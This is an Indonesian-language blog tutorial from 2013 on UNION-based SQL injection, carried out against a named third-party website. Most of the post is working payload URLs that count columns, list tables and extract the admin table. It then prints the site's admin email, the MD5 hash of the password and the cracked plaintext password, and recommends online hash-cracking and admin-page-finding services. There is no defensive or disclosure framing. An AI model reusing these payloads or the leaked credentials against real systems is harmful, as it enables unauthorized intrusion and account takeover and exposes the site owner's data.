Tuesday 5 March 2013

Tutorial SQL Injection

Pertama cari target yg mengandung bug's atau situs" vuln...
Disini target kita adalah " http://www.dpsmbd.com "

Ket: Bisa juga dengan ?id=1...
Setelah itu mulai mencari jumlah urutan table dengan order by ( dalam beberapa kasus order by tidak akan berfungsi...)
Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 2--
Jika situs masih tampak normal silahkan lanjutkan sampai menemui halaman yg error.

Misalkan :
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 2--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 3--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 4--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 5--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 6--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 7--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 8--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 9--
http://www.dpsmbd.com/newsdetail.php?id=-1 order by 10--

Ket: Gak perlu ngurut... di loncat2 juga bisa yg penting ketemu pertemuan antara error dan tidak pas dimana...
Selanjutnya melakukan colomn count dengan UNION SELECT menggunakan angka hingga keluar daftar angka didalam situs tersebut....

Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7,8--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

Ket: Anda bisa sebenar'a langsung ke union select 1,2,3,4,5,6,7,8,9--
Karena order by yang tadi dilakukan sampai angka 9 sebelum terjadi error'a....
Setelah tau angka apa saja yg keluar setelah melakukan column count, kita tinggal mencari daftar table'a...dan menaruh group_concat(table_name) di urutan nomor yg tadi keluar di web tersebut...

Dan menaruh "from information_schema.tables where table_schema=database()--" diakhir angka " berarti 9 "......

Contoh :
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--
Jika keluar daftar table'a...pilihlah table mana yg ingin kita exploitasi...Misalkan kita pilih table "admin"
untuk mencari nama kolom didalam table admin, terlebih dahulu kita merubah/meng convert text "admin" kedalam Hexadecimal
Ke situs http://www.string-functions.com/string-hex.aspx
hasil hex dari admin = 61646d696e setiap hexadecimal diawali dengan 0x...dan menjadi 0x61646d696e

Lalu tambahkan
limit 1,1--
limit 2,1--
limit 3,1--
limit 4,1--

Fungsi'a untuk mengetahui nama kolom dari table yang dimaksud.

Contoh:
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 1,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 2,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 3,1--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e limit 4,1--



Berikut nama2 kolom dari hasil exploitasi..

limit 1,1--
limit 2,1--
limit 3,1--
limit 4,1--
Yang akan kita exploitasi selanjutnya adalah isi dari nama kolom " user_name " dan " pass_word "
Contoh :

http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,group_concat(user_name,0x3a,pass_word),4,5,6,7,8,9 from admin--
Atau bisa juga satu per satu dengan cara memisahkan nama kolom
Contoh:
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,user_name,4,5,6,7,8,9 from admin--
http://www.dpsmbd.com/newsdetail.php?id=-1 union select 1,2,pass_word,4,5,6,7,8,9 from admin--

Maka keluarlah isi dari kolom tersebut, dengan isi :
superadmin@dps.com:44771849be55a878c9651a1794308cf5 yang berarti :
user_name = superadmin@dps.com
pass_word = 44771849be55a878c9651a1794308cf5

Karna password'a masih berbentuk hash...maka anda decrypt terlebih dahulu hash tersebut ke http://www.md5decrypter.co.uk/ dan akan ditemukan hasil'a menjadi :
Password = DPSmbd

Setelah mengetahui username dan password'a, tugas anda selanjutnya adalah mencari login page admin dari situs tersebut.
Silahkan gunakan tool finder page admin atau menggunakan jasa online ke http://sc0rpion.ir/af/
NB : Tehnik diatas tidaklah baku dan bersifat prosedural....kalian bisa menggunakan cara lain.....

1 comment: